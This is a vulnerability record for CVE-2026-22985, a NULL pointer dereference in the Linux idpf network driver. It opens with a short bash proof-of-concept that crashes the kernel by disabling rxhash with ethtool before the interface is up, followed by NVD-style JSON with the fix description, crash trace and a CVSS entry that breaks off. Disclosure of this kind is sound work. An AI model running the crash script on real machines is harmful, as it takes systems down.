CVE-2026-22985

#!/bin/bash # CVE-2026-22985 PoC - NULL pointer dereference in idpf driver # Reproduction steps for kernel NULL pointer crash # Step 1: Load the idpf driver (requires root) modprobe idpf # Step 2: Wait for interface creation sleep 2 # Step 3: Identify idpf interface (typically eth2 or similar) INTERFACE=$(ip link show | grep -m1 'idpf' | cut -d':' -f2 | tr -d ' ') echo "Testing interface: $INTERFACE" # Step 4: Execute ethtool rxhash off BEFORE bringing interface up # This triggers the NULL pointer dereference in idpf_set_features echo "Triggering vulnerability by disabling rxhash on down interface..." ethtool -K "$INTERFACE" rxhash off echo "If kernel crashes with NULL pointer dereference, vulnerability is confirmed."

{"cve": {"id": "CVE-2026-22985", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.553", "lastModified": "2026-04-02T12:16:18.973", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: Fix RSS LUT NULL pointer crash on early ethtool operations\n\nThe RSS LUT is not initialized until the interface comes up, causing\nthe following NULL pointer crash when ethtool operations like rxhash on/off\nare performed before the interface is brought up for the first time.\n\nMove RSS LUT initialization from ndo_open to vport creation to ensure LUT\nis always available. This enables RSS configuration via ethtool before\nbringing the interface up. Simplify LUT management by maintaining all\nchanges in the driver's soft copy and programming zeros to the indirection\ntable when rxhash is disabled. Defer HW programming until the interface\ncomes up if it is down during rxhash and LUT configuration changes.\n\nSteps to reproduce:\n** Load idpf driver; interfaces will be created\n\tmodprobe idpf\n** Before bringing the interfaces up, turn rxhash off\n\tethtool -K eth2 rxhash off\n\n[89408.371875] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[89408.371908] #PF: supervisor read access in kernel mode\n[89408.371924] #PF: error_code(0x0000) - not-present page\n[89408.371940] PGD 0 P4D 0\n[89408.371953] Oops: Oops: 0000 [#1] SMP NOPTI\n<snip>\n[89408.372052] RIP: 0010:memcpy_orig+0x16/0x130\n[89408.372310] Call Trace:\n[89408.372317] <TASK>\n[89408.372326] ? idpf_set_features+0xfc/0x180 [idpf]\n[89408.372363] __netdev_update_features+0x295/0xde0\n[89408.372384] ethnl_set_features+0x15e/0x460\n[89408.372406] genl_family_rcv_msg_doit+0x11f/0x180\n[89408.372429] genl_rcv_msg+0x1ad/0x2b0\n[89408.372446] ? __pfx_ethnl_set_features+0x10/0x10\n[89408.372465] ? __pfx_genl_rcv_msg+0x10/0x10\n[89408.372482] netlink_rcv_skb+0x58/0x100\n[89408.372502] genl_rcv+0x2c/0x50\n[89408.372516] netlink_unicast+0x289/0x3e0\n[89408.372533] netlink_sendmsg+0x215/0x440\n[89408.372551] __sys_sendto+0x234/0x240\n[89408.372571] __x64_sys_sendto+0x28/0x30\n[89408.372585] x64_sys_call+0x1909/0x1da0\n[89408.372604] do_syscall_64+0x7a/0xfa0\n[89408.373140] ? clear_bhb_loop+0x60/0xb0\n[89408.373647] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[89408.378887] </TASK>\n<snip>"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nidpf: Corrección de fallo de puntero NULL de la RSS LUT en operaciones tempranas de ethtool\n\nLa RSS LUT no se inicializa hasta que la interfaz se activa, causando el siguiente fallo de puntero NULL cuando se realizan operaciones de ethtool como rxhash on/off antes de que la interfaz se active por primera vez.\n\nMover la inicialización de la RSS LUT de ndo_open a la creación de vport para asegurar que la LUT esté siempre disponible. Esto permite la configuración de RSS a través de ethtool antes de activar la interfaz. Simplificar la gestión de la LUT manteniendo todos los cambios en la copia blanda del controlador y programando ceros en la tabla de indirección cuando rxhash está deshabilitado. Aplazar la programación de HW hasta que la interfaz se active si está inactiva durante los cambios de configuración de rxhash y LUT.\n\nPasos para reproducir:\n Cargar el controlador idpf; se crearán las interfaces\n\tmodprobe idpf\n Antes de activar las interfaces, desactivar rxhash\n\tethtool -K eth2 rxhash off\n\n[89408.371875] BUG: desreferencia de puntero NULL del kernel, dirección: 0000000000000000\n[89408.371908] #PF: acceso de lectura de supervisor en modo kernel\n[89408.371924] #PF: error_code(0x0000) - página no presente\n[89408.371940] PGD 0 P4D 0\n[89408.371953] Oops: Oops: 0000 [#1] SMP NOPTI\n\n[89408.372052] RIP: 0010:memcpy_orig+0x16/0x130\n[89408.372310] Traza de Llamada:\n[89408.372317] \n[89408.372326] ? idpf_set_features+0xfc/0x180 [idpf]\n[89408.372363] __netdev_update_features+0x295/0xde0\n[89408.372384] ethnl_set_features+0x15e/0x460\n[89408.372406] genl_family_rcv_msg_doit+0x11f/0x180\n[89408.372429] genl_rcv_msg+0x1ad/0x2b0\n[89408.372446] ? __pfx_ethnl_set_features+0x10/0x10\n[89408.372465] ? __pfx_genl_rcv_msg+0x10/0x10\n[89408.372482] netlink_rcv_skb+0x58/0x100\n[89408.372502] genl_rcv+0x2c/0x50\n[89408.372516] netlink_unicast+0x289/0x3e0\n[89408.372533] netlink_sendmsg+0x215/0x440\n[89408.372551] __sys_sendto+0x234/0x240\n[89408.372571] __x64_sys_sendto+0x28/0x30\n[89408.372585] x64_sys_call+0x1909/0x1da0\n[89408.372604] do_syscall_64+0x7a/0xfa0\n[89408.373140] ? clear_bhb_loop+0x60/0xb0\n[89408.373647] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[89408.378887] \n"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": " ... (truncated)